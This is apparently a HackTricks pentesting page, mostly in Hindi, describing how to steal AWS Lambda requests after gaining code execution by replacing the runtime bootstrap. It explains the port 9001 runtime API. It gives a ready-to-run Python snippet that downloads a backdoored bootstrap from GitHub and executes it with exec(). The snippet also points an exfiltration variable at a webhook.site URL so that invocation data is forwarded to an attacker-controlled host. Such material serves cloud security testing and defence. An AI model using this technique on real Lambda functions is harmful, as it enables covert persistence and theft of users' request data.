AWS - Steal Lambda Requests

HackTricks का समर्थन करें

Lambda प्रवाह

  1. Slicer एक प्रक्रिया है जो कंटेनर के बाहर है और invocations को init प्रक्रिया को भेजती है।

  2. Init प्रक्रिया पोर्ट 9001 पर सुनती है जो कुछ दिलचस्प एंडपॉइंट्स को उजागर करती है:

  • /2018-06-01/runtime/invocation/next – अगली invocation घटना प्राप्त करें

  • /2018-06-01/runtime/invocation/{invoke-id}/response – invoke के लिए हैंडलर प्रतिक्रिया लौटाएं

  • /2018-06-01/runtime/invocation/{invoke-id}/error – एक निष्पादन त्रुटि लौटाएं

  1. bootstrap.py में एक लूप है जो init प्रक्रिया से invocations प्राप्त करता है और उन्हें संभालने के लिए उपयोगकर्ता के कोड को कॉल करता है (/next).

  2. अंततः, bootstrap.py init को response भेजता है

ध्यान दें कि bootstrap उपयोगकर्ता के कोड को एक मॉड्यूल के रूप में लोड करता है, इसलिए उपयोगकर्ता के कोड द्वारा किया गया कोई भी कोड निष्पादन वास्तव में इस प्रक्रिया में हो रहा है।

Lambda अनुरोध चुराना

इस हमले का लक्ष्य उपयोगकर्ता के कोड को एक दुर्भावनापूर्ण bootstrap.py प्रक्रिया को निष्पादित करना है जो उस bootstrap.py प्रक्रिया के अंदर है जो कमजोर अनुरोध को संभालती है। इस तरह, दुर्भावनापूर्ण bootstrap प्रक्रिया init प्रक्रिया के साथ बातचीत करना शुरू कर देगी ताकि अनुरोधों को संभाला जा सके जबकि वैध bootstrap फंसी हुई है जो दुर्भावनापूर्ण को चला रही है, इसलिए यह init प्रक्रिया से अनुरोध नहीं पूछेगी।

यह एक सरल कार्य है क्योंकि उपयोगकर्ता का कोड वैध bootstrap.py प्रक्रिया द्वारा निष्पादित किया जा रहा है। इसलिए हमलावर कर सकता है:

  • Init प्रक्रिया को वर्तमान invocation का एक नकली परिणाम भेजें, ताकि init सोचता है कि bootstrap प्रक्रिया अधिक invocations की प्रतीक्षा कर रही है।

  • एक अनुरोध /${invoke-id}/response पर भेजा जाना चाहिए

  • Invoke-id को वैध bootstrap.py प्रक्रिया के स्टैक से inspect पायथन मॉड्यूल का उपयोग करके प्राप्त किया जा सकता है (जैसा कि यहां प्रस्तावित है) या बस इसे फिर से /2018-06-01/runtime/invocation/next पर अनुरोध करके प्राप्त किया जा सकता है (जैसा कि यहां प्रस्तावित है).

  • एक दुर्भावनापूर्ण boostrap.py निष्पादित करें जो अगली invocations को संभालेगा

  • छिपाने के उद्देश्यों के लिए, हमलावर के नियंत्रित C2 पर lambda invocations पैरामीटर भेजना संभव है और फिर अनुरोधों को सामान्य रूप से संभालें।

  • इस हमले के लिए, bootstrap.py का मूल कोड सिस्टम से या github से प्राप्त करना, दुर्भावनापूर्ण कोड जोड़ना और इसे वर्तमान lambda invocation से चलाना पर्याप्त है।

हमले के चरण

  1. एक RCE भेद्यता खोजें।

  2. एक दुर्भावनापूर्ण bootstrap उत्पन्न करें (जैसे https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)

  3. दुर्भावनापूर्ण bootstrap निष्पादित करें।

आप इन कार्यों को आसानी से चलाकर कर सकते हैं:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

For more info check https://github.com/carlospolop/lambda_bootstrap_switcher

References

HackTricks का समर्थन करें

Last updated